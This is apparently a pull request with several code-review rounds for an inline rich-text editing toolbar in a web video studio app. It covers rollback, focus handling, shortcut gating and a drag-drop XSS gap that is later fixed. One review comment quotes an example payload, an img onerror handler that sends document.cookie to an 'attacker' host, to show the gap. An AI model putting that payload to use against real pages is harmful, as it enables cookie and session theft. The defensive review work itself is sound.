feat(studio): edit and style text in the preview

[miguel-heygen]

What

Double-press a text element in the canvas and the caret opens where you pressed, in the element itself rather than in a panel. Select characters and a small toolbar offers colour, bold, italic and underline, applied to exactly those characters.

Why

Editing text meant finding it in a panel and retyping it there. The panel could not express styling at all.

How

The toolbar lives in Studio's document rather than the composition's. Putting it in the preview would inject Studio's chrome into the user's composition, where a render would capture it and the composition's own styling would inherit into it. It is positioned over the selection in viewport coordinates, so it does not have to know which of the canvas' nested coordinate systems it was mounted into.

In a flex or grid container the rebuilt runs go inside one wrapper, so a coloured word cannot reflow the element it sits in.

The edit session carries its original markup and exact preview-node identity across the persistence boundary, so a failed save restores the exact pre-edit preview without retargeting a replacement node after a reload. Paste and drag/drop both admit plain text only, closing the pre-commit markup-execution window. Playback, history, canvas, and storyboard shortcuts share one typing-target gate and leave contenteditable elements alone.

Test plan

• 3,776 Studio tests pass (349 files, with one contract suite skipped)
• Studio typecheck passes
• oxlint and oxfmt pass on all changed files
• Persistence-failure and preview-replacement regressions verify rollback ownership
• Paste and drop regressions verify that dragged markup is never inserted
• Codex in-app browser E2E verifies selection, toolbar styling, source persistence, and no preview reload across save

This one is over the usual size budget. The editor and the toolbar cannot be separated, since the editing layer is what mounts the toolbar; about 40% of the diff is tests.

[vanceingalls]

Read the whole diff adversarially against the toolbar-in-Studio-DOM invariant, the rollback path, and the shortcut gate. The three big-ticket claims check out; a handful of polish notes below, none blocking.

What holds up

• Toolbar lives in Studio's document. InlineTextToolbar is rendered inline as inlineText.toolbar from DomEditOverlay (packages/studio/src/components/editor/DomEditOverlay.tsx:111), which is Studio chrome. Positioning is position: fixed in viewport coords, with iframe.getBoundingClientRect() mapping preview → Studio (InlineTextToolbar.tsx:696-701). Nothing about the toolbar can be captured by the render pipeline.
• Overlay pointer-events during edit. Overlay flips to pointer-events-none while editing (DomEditOverlay.tsx:57), the selection box flips with it (DomEditSelectionChrome.tsx:256), and the toolbar keeps its own pointer-events-auto (InlineTextToolbar.tsx:573). The DomEditSelectionChrome test suite explicitly encodes the "parent none, child auto" trap.
• Rollback is a byte-string round-trip. original: element.innerHTML snapshotted at start() (useInlineTextEdit.ts:2131), cancel() and revert() write it back verbatim (useInlineTextEdit.ts:2176, useDomEditTextCommits.ts:1524). The regression test asserts element.innerHTML byte-equal to the pre-edit HTML (useDomEditCommits.test.tsx:1319). Concurrent second sessions blocked by openRef (useInlineTextEdit.ts:2127). Concurrent second text-commits gated by bumpDomEditCommitVersion / isLatestTextCommit (useDomEditTextCommits.ts:1497,1522).
• Sanitize on the way out. commit() runs sanitizeRichTextChildren(open.element) before reading innerHTML (useInlineTextEdit.ts:2165), so what leaves the element is what the sanitizer allows. The paste path is plaintext-only (useInlineTextEdit.ts:2207-2211), which closes the foothold contenteditable="true" used to leave open for plaintext-only.
• Shortcut gate is one function, everywhere. isTypingTarget uses isContentEditable (property, not attribute) and covers plaintext-only, ancestor-editable, and role=textbox (typingTarget.ts:2425-2439). Both shouldIgnorePlaybackShortcutTarget and shouldIgnoreHistoryShortcut route through it (playbackShortcuts.ts:2322, studioHelpers.ts:2344). Test at typingTarget.test.ts:2374 covers the plaintext-only case explicitly.
• Focus theft. swallow preventDefaults pointerdown/mousedown at the toolbar wrapper (InlineTextToolbar.tsx:585-586) — the standard idiom, correctly applied.

Non-blocker follow-ups

1. Toolbar a11y. InlineTextToolbar.tsx:571-587 — the outer div has no role="toolbar" or aria-label. Screen readers see a generic div. Buttons themselves are well-labeled (aria-label, aria-pressed), so this is a small add.

2. Placement not viewport-clamped. InlineTextToolbar.tsx:698-701 — top: box.top + rect.top * scale - GAP_PX goes negative when the selected text sits at the composition's top edge with box.top small (undocked Studio). Clamp to max(0, …), or flip below the selection when there's no room above.

3. outline-offset not captured for restore. useInlineTextEdit.ts:2131-2133 snapshots element.style.outline but not outlineOffset; teardown removes the property (:2119). An element whose stylesheet-authored outline-offset was expressed as an inline style would come out of the session with it gone. Low-impact but easy to fix while the session-snapshot shape is fresh.

4. Enter opens edit with any modifier except Shift. useInlineTextEditing.tsx:1149 — if (event.key !== "Enter" || event.shiftKey) return false;. Cmd+Enter, Ctrl+Enter, Alt+Enter all open the editor. Cheap to also gate on ctrlKey || metaKey || altKey before another shortcut wants one of those combos.

5. z-[200] arbitrary value. InlineTextToolbar.tsx:573 — Studio has z-index tokens elsewhere; arbitrary value is a small drift.

6. Rich-text commit + style commit interleave. useDomEditTextCommits.ts:1497 bumps the text version ref only. A style commit landing between the rich-text POST and its response won't defeat isLatestTextCommit, and a rollback will wipe the interleaved style change. Pre-existing pattern, but the rich-text path inherits it — worth naming in a comment so the next person editing this doesn't assume it's covered.

7. isTypingTarget swallows <input readonly> and <input type="checkbox">. typingTarget.ts:2434 — the bare input selector matches both. For checkbox / readonly, the shortcuts probably should stay suppressed (Space toggles the checkbox, arrows move the readonly caret), so this is arguably correct — but the doc-comment on the function only covers "typing" cases. Worth a sentence acknowledging the wider gate.

8. Cross-doc blur assumption is browser-behavior-load-bearing and only unit-tested via happy-dom. The click flow (mousedown on Studio toolbar → contenteditable inside iframe stays focused → click applies style) depends on preventDefault on the parent doc's mousedown suppressing cross-frame focus transfer. Correct idiom, matches how ProseMirror / Slate / Notion do it, but happy-dom doesn't model it — so nothing in the test suite would catch a regression. A single Playwright smoke that opens an edit, selects text, clicks Bold, and asserts the run got wrapped would be a cheap seat belt for a load-bearing invariant.

Verdict

APPROVE. Toolbar cannot leak into the render pipeline, rollback is byte-string round-trip with per-session and per-commit gating, sanitize runs on commit before persistence, paste is plaintext-only, and the shortcut typing-target gate is one shared predicate routed through by every consumer. Findings above are quality tail — the a11y role="toolbar" add and the viewport clamp are the two I'd most like to see landed as follow-ups, and the Playwright smoke on the cross-doc focus invariant would earn its keep the first time browser behavior drifts. Ship it.

— Via

[james-russo-rames-d-jusso]

Reviewed at a1b1d11b.

Feature ships as promised — double-press opens a caret, toolbar styles the selection, previousHtml correctly threads the pre-edit snapshot across the persistence boundary so a failed save restores what was there. The 08d0cd7c fix (fix(studio): restore rich text after failed save) is a real bug catch: prior versions captured previousInnerHtml from the DOM at commit time, which was already mutated — the revert had nothing useful to revert to.

Verified via 4-agent adversarial fan-out — most of my initial suspicions (color-picker blur→commit race, toolbar-button focus theft) were refuted by the same DOM invariant: bubble-phase preventDefault on mousedown cancels the focus-shift default before it runs. The swallow wrapper at InlineTextToolbar.tsx:82-83 is doing exactly that load-bearing job.

Closed at a1b1d11b (Via's R1 pass overlaps with a few of my drafts) — outline-offset symmetric restore (useInlineTextEdit.ts:41,96,113), role="toolbar" + aria-label="Text formatting", Enter gated against Ctrl/Meta/Alt modifiers, top-edge flip when the above-selection position would clip the viewport, typing-gate contract note.

Concerns still open

• Drag-drop XSS window. contenteditable="true" (not plaintext-only) enables browser drag-drop of HTML markup into the element. Paste is intercepted with plain-text extraction; drop is not. Between drop and commit, <img src=x onerror="…"> payloads execute in the preview iframe's same-origin context (grepped NLEPreview.tsx — no sandbox=). Sanitiser runs only on commit. This mirrors exactly the paste concern the PR body already addresses ("what arrives is the words") — same defensive intent, sibling gap. Inline anchor with a proposed drop handler.

• Missing RAF cleanup on unmount. The requestAnimationFrame at useInlineTextEdit.ts:130-134 is cancelled only by teardown(), never by an effect cleanup. If DomEditOverlay unmounts with a session open (composition reload, navigation, project switch), the RAF fires post-unmount, calling focus() and placeCaret on an element with no session and no listeners. Inline anchor.

• apply() calls getRangeAt(0) without a rangeCount guard (InlineTextToolbar.tsx:59). Optional chaining on Selection doesn't guard against IndexSizeError — getRangeAt(0) on a zero-range Selection throws. placeOverSelection at :192 correctly guards; apply doesn't. Narrow race between selectionchange (React batches the state update) and the click. Inline anchor.

• previousHtml staleness under external composition reload. Narrow race: session opens with element.innerHTML="A" → open.original="A". Composition reloads mid-edit, replacing the SAME element's innerHTML with "C". User types "D". Commit fires with {html: "D", previousHtml: "A"}. If persist fails, revert writes "A" over what's now "C" — clobbering the reloaded content. usePreviewReloadSuppression (HF#2909) mitigates this in practice for self-writes; reloads from other sources could still hit the window. Inline anchor.

Non-blocking, cross-file

• PR body's typing-gate claim is scoped, but a sibling still misses contenteditable entirely. StoryboardFrameFocus.tsx:144 matches only HTMLTextAreaElement/HTMLInputElement — not .isContentEditable, not the new isTypingTarget. If a user is inline-editing text inside a storyboard-scoped context and hits a storyboard nav key, the key gets swallowed. Not a regression from this PR (pre-existing), but the PR body's phrasing invites the reader to assume broader consolidation. Worth a follow-up.

• Two typing-target helpers now coexist. New isTypingTarget (typingTarget.ts) and pre-existing isEditableTarget (timelineDiscovery.ts). Both catch .isContentEditable on the direct target, so plaintext-only is handled in the common case; but the shape divergence + duplicate call sites (useAppHotkeys.ts:191,198,457, useDomEditNudge.ts:133) is a consolidation candidate for follow-up. Not blocking.

• Cmd+B / Cmd+I / Cmd+U shortcuts. Universal expectation for any inline text editor. Toolbar is mouse-only right now. Nice-to-have follow-up, not a merge-blocker.

Nits

• { type: "rich-text", property: "", value: html } literal at useDomEditTextCommits.ts:342 is byte-identical to buildDomEditRichTextPatchOperation at domEditingLayers.ts:527. The helper is already imported at :14 (used at :117 for the serialised-text-fields path). Two rich-text emit points can drift if the interface gains a field. One-line fix. Inline anchor.

• toHexColor degrades short hex + named colors to white. #f00 fails the 6-hex regex; red / transparent yield no numeric channels; both fall to DEFAULT_COLOR. The docstring accepts graceful degradation, but adding a short-hex expand branch + a couple named-color lookups is cheap and closes the "why does the swatch open on white when my element is red" gap.

• Cross-element paired double-press (useInlineTextEditing.tsx:102-105, domEditInlineText.ts:86-93). Two independent single-clicks on different elements within 6px + 450ms open an edit on the second element. Very low practical exposure (6px slop is tight), but no target-identity check in isDoublePress. Storing the hit target on PressMark and requiring it to match would close it.

• child as HTMLElement at domEditInlineText.ts:61 without an instanceof HTMLElement narrow (CONTRIBUTING.md §type-safety). Reached only after isRichTextFormattingTag gates on formatting tags, so functionally safe, but a pattern flag.

• Uniform-scale assumption at InlineTextToolbar.tsx:207 and useInlineTextEditing.tsx:82 (scale = box.width / view.innerWidth, applied to both axes). Currently correct — NLEPreview.tsx preserves composition aspect ratio in the stage — but if the stage ever letterboxes, the toolbar drifts on Y. A ponytail: comment naming the invariant, or switching to the shared rootScaleX/rootScaleY from domEditOverlayGeometry.ts:243-244, would harden it.

• handleDomRichTextCommit gate uses the element-only variant (useDomEditTextCommits.ts:340) — skips isCompositionHost/isInsideLockedComposition. Not reachable via the UI today (start requires prior open which does check the fuller gate), but a discipline gap if someone raises a rich-text commit from another path.

Positive verifications

• Focus/blur mechanics on the toolbar are correct — swallow at InlineTextToolbar.tsx:82-83 blocks focus theft in the bubble phase, the color picker still opens on click, <input type=color> doesn't blur the contenteditable because native pickers are OS-level modals (not document-focus-shifts).
• type: "rich-text" operation has a server handler at packages/studio-server/src/helpers/sourceMutation.ts:258, routed through the legacy patch endpoint (SDK cutover explicitly excludes it).
• The 08d0cd7c fix threads the true pre-edit snapshot through InlineTextEditCommit, not the mutated DOM. Test useDomEditCommits.test.tsx exercises the failed-save revert path.
• All 5 substantive PR-body claims verified end-to-end (double-press caret, toolbar styling, toolbar-in-Studio-doc, flex/grid wrapper, persistence-boundary restore). Claim #6 (typing-gate) is scoped correctly for playback+history; readable as broader than delivered.
• R2 delta at a1b1d11b is tight — 6 files, 60 insertions, addressing exactly the Via-raised items plus my drafted outline-offset finding. Test coverage extended for each fix (role=toolbar assertion at .test.tsx:70, below-selection placement at :205-224, outline-offset restore at .test.tsx:267,281).

What I didn't verify

• Did not run the 3,770 Studio tests locally; trusting Miguel's green + the Codex in-app E2E.
• Did not trace persistDomEditOperations end-to-end for the stale-selection scenario — the race window depends on how the persist path resolves a selection identifier when the target element's identity/state has changed under it.
• Did not construct an end-to-end PoC for the drag-drop XSS — the mechanism is textbook (<img onerror> fires on parse; preview iframe is same-origin), but no live browser trace.

Verdict

LGTM from my side pending the drag-drop drop/dragover handler (mirror of the paste path — self-contained, one function). Everything else is either a narrow race worth naming or a nit — not merge-blocking on their own, but the pack of them is worth a follow-up sweep.

— Review by Rames D Jusso

[james-russo-rames-d-jusso]

🔴 Drag-drop into a contenteditable="true" element bypasses the paste sanitiser, opening a same-origin script-execution window in the preview iframe.

The element takes contenteditable="true" at :124, and the effect at :193-201 wires listeners for keydown, blur, and paste — but not drop or dragover. The paste path (:187-191) already documents the intent: "Dropping plaintext-only means the browser would otherwise paste a whole web page's markup straight in. What arrives is the words." — but drag-drop is the sibling attack vector.

Concrete failure:

1. User has an inline text edit open (contenteditable="true").
2. User drags an image from another tab, or HTML from another page, into the element — could be arbitrary markup, e.g. <img src=x onerror="fetch('//attacker/', {body: document.cookie})">.
3. Browser's default drop behavior inserts the payload as innerHTML into the element.
4. <img src=x> fails to load → onerror fires immediately on parse.
5. Preview iframe is same-origin (no sandbox= on NLEPreview.tsx) → the handler runs with access to the composition's document, parent window (Studio), cookies, localStorage.
6. sanitizeRichTextChildren only runs at commit time (:145). By then the damage is done.

(Note: <script> inserted via .innerHTML/drop is inert per spec; the vector is <img onerror>, <iframe srcdoc>, <svg onload>, <video onerror>, etc. — the sanitiser strips these on commit, but not before drop.)

Suggested fix — mirror the paste handler:

const onDrop = (event: DragEvent) => {
  event.preventDefault();
  const text = event.dataTransfer?.getData("text/plain") ?? "";
  if (text) element.ownerDocument.execCommand("insertText", false, text);
};
const onDragOver = (event: DragEvent) => event.preventDefault();

element.addEventListener("drop", onDrop);
element.addEventListener("dragover", onDragOver);
// ... add to the cleanup at :196-200

Also worth a regression pinning: session open + dispatchEvent(new DragEvent("drop", {dataTransfer: DataTransfer with HTML payload})) → assert element.innerHTML doesn't contain the HTML tags.

— Rames D Jusso

[james-russo-rames-d-jusso]

🟠 RAF scheduled here has no cleanup on component unmount — fires post-unmount if the hook host tears down mid-session.

const raf = view?.requestAnimationFrame(() => {
  element.focus({ preventScroll: true });
  placeCaret(element, caretAt);
});
framesRef.current = raf ?? null;

The RAF is cancelled only by teardown() at :84-88, which is called from commit/cancel. There's no useEffect(() => () => cancelAnimationFrame(framesRef.current), []) cleanup on the hook itself.

Concrete failure: DomEditOverlay unmounts with a session open — composition reload, route change, project switch, canvas re-mount. React 18's cleanup runs on the useEffect at :162-201, which correctly removes listeners. But framesRef.current is untouched: the RAF fires ~16ms later, calling element.focus({preventScroll:true}) and placeCaret(element, caretAt) on an element that:

• Still has contenteditable="true" set (teardown never ran)
• Has no keydown/blur/paste listeners (effect cleanup already ran)
• Has no way to commit or cancel except through user action (the hook is gone)

Orphan editable + no way to close = the caret can be moved and typing occurs, but nothing is persisted and the outline never goes back.

Fix: add an unmount cleanup that cancels the RAF and (optionally) restores the outline. Something like:

useEffect(() => () => {
  const open = openRef.current;
  if (framesRef.current !== null && open) {
    open.element.ownerDocument.defaultView?.cancelAnimationFrame(framesRef.current);
  }
  // Optionally: if openRef.current, call teardown-shape cleanup on the element.
}, []);

Or fold into the existing effect at :162-201 by including framesRef.current cleanup in the same cleanup block.

— Rames D Jusso

[james-russo-rames-d-jusso]

🟠 getRangeAt(0) throws IndexSizeError on a zero-range Selection — the optional chain won't save you.

const apply = useCallback(
  (delta: Record<string, string | null>) => {
    const doc = session?.element.ownerDocument;
    const range = doc?.defaultView?.getSelection()?.getRangeAt(0);
    if (!range) return;
    applyInlineStyle(range, delta);
    refresh();
  },
  [session, refresh],
);

Optional chaining protects the pre-getRangeAt steps (doc, defaultView, getSelection()), but getSelection().getRangeAt(0) throws when rangeCount === 0 — not returns undefined. The if (!range) return guard is unreachable in that case; the throw propagates out of the click handler.

placeOverSelection at :192 correctly guards with selection.rangeCount === 0 || selection.isCollapsed, but that guard doesn't protect apply — apply is on the click, placeOverSelection is on selectionchange.

Concrete failure: narrow but reachable. The toolbar is mounted based on React state placement, which was set by the last selectionchange event. Between that render and the user's click on a toolbar button:

1. Something dispatches an event outside the toolbar that collapses the selection to zero ranges.
2. React hasn't re-rendered yet (selectionchange triggers a state update, batching).
3. User clicks Bold. apply runs. getRangeAt(0) throws.

Also reachable if some third-party (extension, dev tool) programmatically collapses the selection.

Fix: replicate the guard from placeOverSelection:

const selection = doc?.defaultView?.getSelection();
if (!selection || selection.rangeCount === 0) return;
const range = selection.getRangeAt(0);
applyInlineStyle(range, delta);
refresh();

— Rames D Jusso

[james-russo-rames-d-jusso]

🟡 revert clobbers post-reload content if the composition reloads and swaps innerHTML mid-edit (element identity preserved).

revert: () => {
  if (editedElement) editedElement.innerHTML = previousHtml;
},

previousHtml is snapshotted at session-start in useInlineTextEdit.ts:110 (original: element.innerHTML). It's the source of truth for a rollback ONLY if the element's innerHTML at revert time is still equal-or-descended-from the pre-edit state.

Concrete race:

1. Session opens with element.innerHTML="A" → open.original="A".
2. External composition reload path swaps the element's innerHTML to "C" while the session is still live (same element node; only the innerHTML was replaced). This bypasses open.element.isConnected — the element is still connected, just with different content.
3. User keeps typing on the reloaded element — its innerHTML becomes "D".
4. User presses Enter → commit() fires with {html: "D", previousHtml: "A"}.
5. handleDomRichTextCommit runs. Persist fails (network / server rejects / editingHost mismatch).
6. revert() writes "A" over what's now "C" — the user sees the composition rolled back to a state that predates their edit AND the external reload.

Probably mitigated in practice by usePreviewReloadSuppression (HF#2909's write-token receipt) which suppresses reloads while a self-write is in flight — but a reload from a source other than the current commit path could still hit this window.

Cheap mitigation: capture a second snapshot at commit-time (editedElement.innerHTML in capture), and on revert compare vs previousHtml — if they diverged, prefer the closer-to-current snapshot or bail on the revert with a toast. Or: name this explicitly as an accepted concurrency assumption and add a ponytail: comment pointing at the preview-reload-suppression contract.

— Rames D Jusso

[james-russo-rames-d-jusso]

🟢 nit: Literal duplicates the existing buildDomEditRichTextPatchOperation helper — DRY hazard.

const operations: PatchOperation[] = [{ type: "rich-text", property: "", value: html }];

vs. domEditingLayers.ts:527:

export function buildDomEditRichTextPatchOperation(value: string): PatchOperation {
  return { type: "rich-text", property: "", value };
}

The helper is already imported at :14 (used at :117 for the serialised-text-fields path). Byte-identical shape. Two rich-text emit points can drift if the interface gains a field. One-line fix:

const operations: PatchOperation[] = [buildDomEditRichTextPatchOperation(html)];

— Rames D Jusso

[vanceingalls]

Reviewed delta 08d0cd7c5..a1b1d11be.

Nit 1 (toolbar role/aria-label) — ADDRESSED

packages/studio/src/components/editor/InlineTextToolbar.tsx:73-74 — role="toolbar" + aria-label="Text formatting" on the container. Test at .test.tsx:70-71 asserts both.

Nit 2 (viewport clamp / flip) — ADDRESSED

InlineTextToolbar.tsx:22, 203-209 — new TOOLBAR_HEIGHT_PX = 34; placeBelow = above < TOOLBAR_HEIGHT_PX flips top-of-composition selections below the range (top = rect.bottom * scale + GAP_PX, transform: translate(-50%, 0)). Not a raw Math.max clamp — a flip, which is the better UX shape. New unit test at .test.tsx:204-223.

Nit 3 (outline-offset snapshot) — ADDRESSED

packages/studio/src/hooks/useInlineTextEdit.ts:44, 97, 111-112 — session now carries outlineOffset; captured at start() (:111), restored via open.element.style.outlineOffset = open.outlineOffset at teardown (:97). Test at useInlineTextEdit.test.tsx:267, 281 asserts "6px" round-trip.

Nit 4 (Enter modifier gate) — ADDRESSED

packages/studio/src/components/editor/useInlineTextEditing.tsx:32-36, 99-100 — handleKeyDown sig widened; guard is now event.key !== "Enter" || event.shiftKey || event.ctrlKey || event.metaKey || event.altKey. Cmd/Ctrl/Alt+Enter no longer opens the editor. Nit: no unit test at this call site — the guard change is intended but uncovered.

Nit 5 (z-[200]) — REBUTTAL HOLDS

Grep across packages/studio/src: z-[200] also lives in components/ui/Tooltip.tsx, components/sidebar/AssetContextMenu.tsx, components/renders/RenderQueue.tsx. Three peer overlays — Studio's overlay-layer convention, not a one-off. Accepted.

Nit 6 (rich-text rollback vs Inspector style interleave) — REBUTTAL HOLDS

Traced both paths in packages/studio/src/hooks/useDomEditTextCommits.ts:

• handleDomRichTextCommit (:328-368): apply writes editedElement.innerHTML = html; revert writes innerHTML = previousHtml — child-tree only.
• Inspector style commit (:194-234): apply calls editedElement.style.setProperty(prop, val); revert calls style.removeProperty(prop) or restores previousInlineValue. Host inline-style attribute only.

Different DOM surfaces (innerHTML vs .style). A rich-text revert cannot wipe an interleaved Inspector style change (host .style), and the Inspector revert reads its own previousInlineValue snapshot at apply time. Confirmed independent.

Nit 7 (typing-gate contract note) — ADDRESSED

packages/studio/src/utils/typingTarget.ts:14-15 — doc-comment now reads: "The wider input gate is deliberate too: checkboxes and readonly fields own Space and arrow keys even when they do not accept text." Intent captured.

Nit 8 (cross-doc blur Playwright) — PARTIALLY ADDRESSED

No new Playwright / E2E file in the delta. You confirmed via the rich-text-demo in-app run (live preview edit + source persistence + unchanged preview src across save). Happy-dom unit coverage unchanged. Acceptable as a follow-up given the manual E2E is real evidence for landing; the seat-belt Playwright test would still be worth adding.

R1 approvals hold

Toolbar still Studio-DOM-mounted (mount site unchanged); rollback still byte-string previousHtml round-trip (useDomEditTextCommits.ts:368); sanitizeRichTextChildren still runs at commit (useInlineTextEdit.ts:145); isTypingTarget gate semantically unchanged (comment-only edit); toolbar focus-theft stopPropagation retained.

CI at head

a1b1d11be: 27 SUCCESS / 12 SKIPPED / 1 NEUTRAL / 0 FAILURE / 6 IN_PROGRESS. Studio: load smoke, Studio: timeline viewport gate, Test: runtime contract, Producer unit + integration, SDK unit+contract+smoke all green. Build / Typecheck / Preview parity / CLI smoke / Analyze / Windows still IN_PROGRESS; nothing failed.

Cross-reviewer

Rames independently posted COMMENTED at 07:15:34Z on this same head — worth reading in case he flagged something my delta missed, but no CHANGES_REQUESTED state.

Verdict

APPROVE. Delta ships the five substantive fixes with exact-shape restoration on outline-offset and a flip-below strategy for viewport clamping that's better UX than a raw Math.max clamp. Both rebuttals grounded on evidence (three peer z-[200] overlays + disjoint DOM surfaces for the two commit paths). Nit #8 stands as a follow-up. No regressions. Ship on the remaining IN_PROGRESS checks landing green.

— Via

[vanceingalls]

Reviewed delta a1b1d11be..648b9621e — one commit fix(studio): harden inline text editing, amended once to restore timelineDiscovery.ts as a compat re-export.

Rames's 8 items — all CLOSED

1. Drag/drop plain-text-only rail. useInlineTextEdit.ts:199-206 adds onDragOver (preventDefault) + onDrop mirroring paste through insertPlainText (:189-191), consuming dataTransfer.getData("text/plain") only. Test at useInlineTextEdit.test.tsx:454-478 — it.each parameterises paste + drop with <img src=x onerror="steal()">; both assert execCommand("insertText", …, "plain words") + defaultPrevented. Pre-commit markup-execution window closed.

2. RAF cancel on unmount. useInlineTextEdit.ts:207-213 bare useEffect(() => () => teardown(), [teardown]); teardown (:87-104) is the single owner of cancelAnimationFrame(framesRef.current). RAF body at :130-137 also nils the ref + guards openRef.current?.element !== element so raced fires are inert. Test at .test.tsx:81-94 mocks RAF to return 42, unmounts mid-open, asserts cancelAnimationFrame(42) fired + contenteditable removed.

3. Zero-range guard on toolbar apply. InlineTextToolbar.tsx:58-61 splits Selection acquisition from Range access: if (!selection || selection.rangeCount === 0) return; const range = selection.getRangeAt(0);. Test at .test.tsx:169-180 clears all ranges before clicking Bold, asserts no-throw + innerHTML === "hello world".

4. Preview-node ownership on commits. useInlineTextEdit.ts:48-51 carries element: HTMLElement on InlineTextEditCommit; commit() passes open.element verbatim (not findElementForSelection). useDomEditTextCommits.ts:65-75 adds ownsCurrentPreviewElement(selection, element, doc) requiring element === selection.element && element.ownerDocument === doc && element.isConnected; commit path (:354-357) bails when ownership fails. revert() only rolls back when element.isConnected && element.innerHTML === appliedHtml (:381-385) — external mid-flight writers keep their value. Test at useDomEditCommits.test.tsx:874-901 replaceWith()s the session's element with a same-data-hf-id sibling, then commits; asserts replacement text preserved, fetch NOT called, no toast. Rollback-retarget race closed exactly as Rames drafted.

5. Shared builder + host/lock gates. useDomEditTextCommits.ts:355 replaces inline { type: "rich-text", …, value: html } with [buildDomEditRichTextPatchOperation(html)] — same helper the serialised-text-fields path uses at :117. Two emit sites can no longer drift. New canCommitInlineTextSelection at :62-65 gates isCompositionHost || isInsideLockedComposition before canEditElementTextInline.

6. Paired-press same-element. domEditInlineText.ts:74 extends PressMark with element: HTMLElement | null; isDoublePress at :91-92 short-circuits on next.element !== null && previous.element === next.element before time/slop checks. useInlineTextEditing.tsx:106-108 populates the mark via elementUnderPress(event) on every press. Test at .test.ts:76-85 verifies same-element pairs and different-element does not.

7. Cross-realm HTMLElement narrow assertion-free. domEditInlineText.ts:56-63 resolves HTMLElementClass = element.ownerDocument.defaultView?.HTMLElement and narrows with instanceof HTMLElementClass — iframe's own realm class is used, no as HTMLElement casts, and cross-realm nodes pass the check that the global HTMLElement would silently reject.

8. Shortcut consolidation + storyboard focus. useAppHotkeys.ts:191, 198, 457 + useDomEditNudge.ts:133 route through the canonical isTypingTarget. StoryboardFrameFocus.tsx:144 replaces el instanceof HTMLTextAreaElement || HTMLInputElement with isTypingTarget(document.activeElement) — contenteditable in a storyboard-focused frame now blocks Arrow/Escape swallow. typingTarget.ts also picks up role='searchbox' and role='combobox'. Test at StoryboardViewModeGuard.test.tsx:174-186 focuses a contenteditable="true" div, dispatches ArrowRight, asserts onNavigate not called.

Amendment (8956815 → 648b962) — file-deletion guard fix

At 89568153e, packages/studio/src/utils/timelineDiscovery.ts was fully deleted (part of item #8's consolidation) — that tripped Detect changes on scripts/check-no-main-deletions.mjs's "reject accidental file deletions" rule (non-required check, not merge-blocking, but bookkeeping).

Amendment restores the file as a 3-line compat re-export:

// Compatibility name for downstream imports. The typing decision itself has
// one owner; new Studio callers import `isTypingTarget` directly.
export { isTypingTarget as isEditableTarget } from "./typingTarget";

Identity regression at typingTarget.test.ts asserts expect(isEditableTarget).toBe(isTypingTarget) — same function reference, zero-logic re-export by construction. Zero callers of the legacy isEditableTarget name across the tree (grepped useAppHotkeys.ts + useDomEditNudge.ts — both import isTypingTarget directly from ../utils/typingTarget). Detect changes now clears at 648b9621e.

R2 items regression check — CLEAN

role="toolbar" + aria-label="Text formatting" intact; z-[200] intact; outline + outlineOffset round-trip intact; Enter modifier gate intact; flip-below intact. No regression.

CI at head 648b9621e

16 SUCCESS / 12 SKIPPED / 1 NEUTRAL / 0 FAILURE / 11 IN_PROGRESS. Detect changes cleared. Required-check set still in progress (Build / Typecheck / Test / Windows / regression) — normal cadence.

Verdict

APPROVE. Third pass at #3143 lands cleanly. All 8 of Rames's items closed with file:line evidence and a test each; no R2 regression; amendment addresses the file-deletion guard without introducing new behaviour. Rich-text stack 4/5 ready to merge on required checks landing green.

— Via

[james-russo-rames-d-jusso]

Reviewed at 648b9621.

Delta from a1b1d11b: 16 files, 234+/76-. Surgical — every R1 concern I raised is closed at the mechanism level, not by moving the shape around. Test coverage extended on each fix so a regression would fail loud.

R1 concerns — how they closed

• Drag-drop XSS (was 🔴). onDragOver + onDrop wired on the editable element, both preventDefault, drop extracts text/plain via the same execCommand("insertText") rail as paste. useInlineTextEdit.test.tsx .each now covers paste AND drop with an <img src=x onerror> payload → asserts defaultPrevented on both and only "plain words" inserted. Verified dragover.preventDefault() is what enables drop to fire (no drop event without it). Same-origin preview → same-defense as paste.
• RAF cleanup on unmount (was 🟠). Two-layer close. (1) A new useEffect(() => () => teardown(), [teardown]) — unmount runs teardown, which cancels framesRef and restores contenteditable/outline/outlineOffset. (2) The RAF body itself now has if (openRef.current?.element !== element) return; — a stale RAF that survived cancel still no-ops. Test asserts cancelAnimationFrame(42) on unmount + contenteditable cleared.
• getRangeAt(0) rangeCount guard (was 🟠). Explicit if (!selection || selection.rangeCount === 0) return; before the getRangeAt. Test asserts no-throw when the selection is cleared between the last selectionchange and the button click.
• previousHtml revert-clobber race (was 🟡). Threaded the exact preview node through the commit shape: InlineTextEditCommit.element — the node that owned the edit. handleDomRichTextCommit now uses ownsCurrentPreviewElement(selection, element, doc) (element still connected, element === selection.element, element.ownerDocument === doc) — if the preview reloaded and swapped the node, early-return; no persist, no revert. Revert further guards if (element.isConnected && element.innerHTML === appliedHtml) — only rolls back what we submitted; an external actor that changed the live value keeps that value. Test asserts commit no-ops (no persist, no toast) when the element was replaceWith'd before commit.
• Helper-reuse nit (was 🟢). useDomEditTextCommits.ts:361 now buildDomEditRichTextPatchOperation(html).

Nits I flagged in R1 body — how they closed

• StoryboardFrameFocus.tsx typing-gate. Now isTypingTarget(document.activeElement). New StoryboardViewModeGuard.test.tsx case asserts ArrowRight doesn't nav when a contenteditable is focused.
• isTypingTarget vs isEditableTarget consolidation. Single canonical isTypingTarget used by useAppHotkeys, useDomEditNudge, StoryboardFrameFocus. timelineDiscovery.ts is now a 3-line re-export (CI's no-file-delete guard) with an identity regression test expect(isEditableTarget).toBe(isTypingTarget) so the two names can never drift.
• Cross-element paired double-press. PressMark.element added; isDoublePress requires next.element !== null && previous.element === next.element. Test pairs two <div>s at the same coords/time and asserts pair-yes for same element, pair-no for different. Also: useInlineTextEditing.startFromPress now updates lastPressRef only when no session is open — presses during a session don't poison the double-press cadence.
• child as HTMLElement cross-realm cast. Now grabs element.ownerDocument.defaultView?.HTMLElement and does child instanceof HTMLElementClass — assertion-free, cross-realm-safe.
• handleDomRichTextCommit element-only gate. New canCommitInlineTextSelection checks isCompositionHost || isInsideLockedComposition before the element-level gate.

Still open (non-blocking follow-ups, unchanged from R1)

• Uniform-scale assumption at InlineTextToolbar.tsx:207 / useInlineTextEditing.tsx:82 — a ponytail: comment or the shared rootScaleX/rootScaleY from domEditOverlayGeometry.ts would harden it. Currently correct.
• toHexColor degrades short-hex + named colors to white. Cheap follow-up.
• Cmd+B / Cmd+I / Cmd+U keyboard shortcuts — universal expectation for an inline text editor.

What I didn't verify

• Did not re-run the 3,776 Studio tests locally; trusting Miguel's green + the fresh coverage for each closure.
